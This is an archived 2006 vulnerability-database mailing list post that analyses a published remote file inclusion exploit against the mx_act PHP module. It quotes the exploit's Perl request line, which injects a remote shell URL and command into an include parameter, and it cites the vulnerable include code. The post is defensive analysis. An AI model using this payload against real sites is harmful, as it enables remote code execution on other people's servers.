[VIM] mx_act RFI oddness

Steven M. Christey coley at mitre.org
Sun Dec 17 20:13:29 EST 2006


Researcher: Dr Max Virus
Ref: http://www.milw0rm.com/exploits/2919


People are reporting this as affecting the module_root_path parameter,
but the demonstration URL is constructed (in Perl) as follows:

  HTTP::Request->new(GET=>$target.'/includes/act_constants.php?board_config[default_lang]=english&mx_root_path$module_root_path='.$shellsite='.?&'.$cmdv.'='.$cmd)

The 'string' is not interpreted, so the parameter that's being sent to
the script is:

  mx_root_path$module_root_path

(unless there's a second interpolation within HTTP::Request->new
itself, which would be a rather notable feature subject to its own
security issues I would surmise, if such an interpolation exists).

Anyways - sample testing in my PHP 4 shows that PHP treats
mx_root_path$module_root_path as a valid variable name.

Source inspection of the program, of course, doesn't give any
mx_root_path$module_root_path.  Rather, we have:

>if ( !file_exists($mx_root_path . 'modules/mx_act/language/lang_' . $board_config['default_lang'] . '/lang_activity.'.$phpEx ) )
>{
>  	include( $mx_root_path . 'modules/mx_act/language/lang_english/lang_activity.'.$phpEx );
>	$link_language='lang_english';
>}	

... which is a clear RFI vector since only define() statements appear
before here.

Later, we have:

>if ( file_exists( $module_root_path . "templates/".$theme['template_name']."/images" ) )
>{
>	$current_template_images = $module_root_path . "templates/".$theme['template_name']."/images" ;
>}	
>else
>{
>	$current_template_images = $module_root_path . "templates/"."subSilver"."/images" ;
>} 

... which is only used to set variables $images['icon_approve'],
$images['icon_unapprove'], and $images['kb_title']

... except, grep doesn't produce any results for icon_approve,
icon_unapprove, or kb_title.


So - what's going on here?  Is this just script kiddie protection in
an otherwise functional exploit?  Or did I miss something?

- Steve


More information about the VIM mailing list